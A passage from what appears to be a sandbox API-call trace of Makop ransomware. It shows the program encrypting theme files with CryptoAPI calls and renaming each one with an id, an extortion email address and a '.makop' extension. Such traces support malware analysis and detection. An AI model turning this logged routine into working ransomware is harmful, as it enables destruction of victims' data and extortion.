(in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.214] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.214] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.214] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.214] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.215] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.215] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.215] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.215] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.215] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.215] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.216] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x24a, lpOverlapped=0x0) returned 1 [0099.216] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x250, dwBufLen=0x250 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x250) returned 1 [0099.216] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.216] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x250, lpOverlapped=0x0) returned 1 [0099.216] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.216] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.216] SetEndOfFile (hFile=0x138) returned 1 [0099.223] GetProcessHeap () returned 0x48a0000 [0099.223] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.223] GetProcessHeap () returned 0x48a0000 [0099.223] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.223] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0099.224] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.225] CloseHandle (hObject=0x138) returned 1 [0099.225] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0099.225] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0099.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.226] GetProcessHeap () returned 0x48a0000 [0099.226] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.226] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.226] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.227] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0099.232] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.232] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.232] GetProcessHeap () returned 0x48a0000 [0099.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.232] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.232] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.232] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.232] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.233] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.233] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.233] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.233] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.233] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.233] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.233] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.234] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d79, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3d79, lpOverlapped=0x0) returned 1 [0099.235] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x3d80) returned 1 [0099.235] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.236] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x3d80, lpOverlapped=0x0) returned 1 [0099.236] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.236] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.236] SetEndOfFile (hFile=0x138) returned 1 [0099.242] GetProcessHeap () returned 0x48a0000 [0099.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.242] GetProcessHeap () returned 0x48a0000 [0099.243] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.243] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0099.243] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.244] CloseHandle (hObject=0x138) returned 1 [0099.244] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0099.245] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0099.245] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0099.245] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR") returned 64 [0099.245] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*") returned 68 [0099.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0099.247] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.247] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0099.247] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0099.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.248] GetProcessHeap () returned 0x48a0000 [0099.248] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.248] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.248] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.248] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0099.253] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.253] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.253] GetProcessHeap () returned 0x48a0000 [0099.253] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.253] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.253] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.253] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.253] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.253] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.254] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.254] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.254] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.255] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.255] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.255] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.255] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf82, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xf82, lpOverlapped=0x0) returned 1 [0099.255] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xf90, dwBufLen=0xf90 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xf90) returned 1 [0099.255] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.255] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xf90, lpOverlapped=0x0) returned 1 [0099.255] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.255] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.256] SetEndOfFile (hFile=0x138) returned 1 [0099.263] GetProcessHeap () returned 0x48a0000 [0099.263] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.263] GetProcessHeap () returned 0x48a0000 [0099.263] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.263] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0099.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.264] CloseHandle (hObject=0x138) returned 1 [0099.264] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0099.265] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM") returned 77 [0099.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.269] GetProcessHeap () returned 0x48a0000 [0099.269] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.269] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.269] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.270] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0099.274] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.274] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.274] GetProcessHeap () returned 0x48a0000 [0099.274] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.274] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.274] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.274] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.274] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.274] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.275] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.275] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.275] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.276] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.276] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.276] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.276] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1205e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1205e, lpOverlapped=0x0) returned 1 [0099.279] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x12060, dwBufLen=0x12060 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x12060) returned 1 [0099.279] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.280] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12060, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x12060, lpOverlapped=0x0) returned 1 [0099.280] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.280] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x12134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.280] SetEndOfFile (hFile=0x138) returned 1 [0099.289] GetProcessHeap () returned 0x48a0000 [0099.289] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: 